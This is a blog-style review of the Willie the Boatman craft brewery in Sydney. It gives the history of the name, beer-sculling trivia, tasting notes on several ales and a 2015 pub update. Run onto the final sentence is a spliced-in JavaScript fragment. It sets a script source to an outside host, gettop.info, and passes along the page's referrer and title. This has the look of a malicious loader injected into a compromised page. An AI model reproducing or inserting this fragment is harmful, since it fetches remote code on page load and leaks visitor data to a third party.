WILLIE THE BOATMAN
Address: Mary St, Tempe/ St Peters, Sydney inner-west
Beers : “Foo Brew” Golden Ale, “Todd’s Trailer Ale” Pale Ale, “Crazy Ivan” India Pale Ale, “Black Bunny” Dark Ale, “The Bulger” English Bitter and seasonal brews also.
Willie the Boatman started as a brewery in 2012, and is now one of those Sydney inner-west beer icons. How did the brewery get its name? Well, long ago in 1830, there was a Scottish ex-convict called William Kerr and his newly found employment was to row his boss and friends across the Cook River, south of Sydney. They lived on the north side, and worked on the south side, and there was no bridge across the Cook River then. William became known as Willie the Boatman because of his occupation – and his rowing skills.
If you’ve seen this website previously, then you’ll know what is about to follow. Willie the Boatman was a rower – but technically speaking, as he was using two oars instead of one (in a team), he was sculling. He was a sculler, and it seems appropriate that that is also the term for drinking beer in one draught. Willie the Sculler.
The record for sculling or chugging beer is two pints in 2.3 seconds (Pennsylvania, 1977). However, the most famous world record sculler is our own former prime minister, Bob Hawke. He downed a “yard” of ale (2.5 pints) in 11 seconds! The “yard” is a long glass, and so more difficult to scull from than, say, a jug.
Fast forward to the modern day, and I’m happy to say that I’ve sampled Willie the Boatman’s “Foo Brew” at both the “Dove and Olive” in Surrey Hills and most recently at the “Yardarm” in Manly. This brew is a golden ale with 4.5% ABV, deep copper-gold in colour with a remarkable hop and apple skin aroma. The taste is floral and fresh, similar to a farmhouse style, with well-balanced hop and malt flavours. This is a superb and refreshing beer.
Also at the “Yardarm” in Manly, they had a seasonal brew, the “Black Bunny” Dark Ale, something like a very flavoursome stout. Smoky, peaty and with lemon and malt whisky notes, this is a truly seasonal beer at this point in time. At 5.5% ABV, it has a long, peaty and smoky finish.
Willie the Boatman has its brewery in Tempe in Sydney and is producing artisan beers that are full of flavour. Incidentally, I don’t think sculling craft beer is a good idea – it’s a bit of a waste not to savour every drop. Sculling competitions should be reserved for the mass-produced stuff!
Update April 2015 : There’s a great new craft beer pub and restaurant at Newport, on the Northern Beaches of Sydney. Called “Hops and Fire”, they have ten craft beers on tap – including Willie the Boatman “Crazy Ivan” IPA – seen in the picture, plus more bottled craft beers. Delicious food, with steaks a specialty as well!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;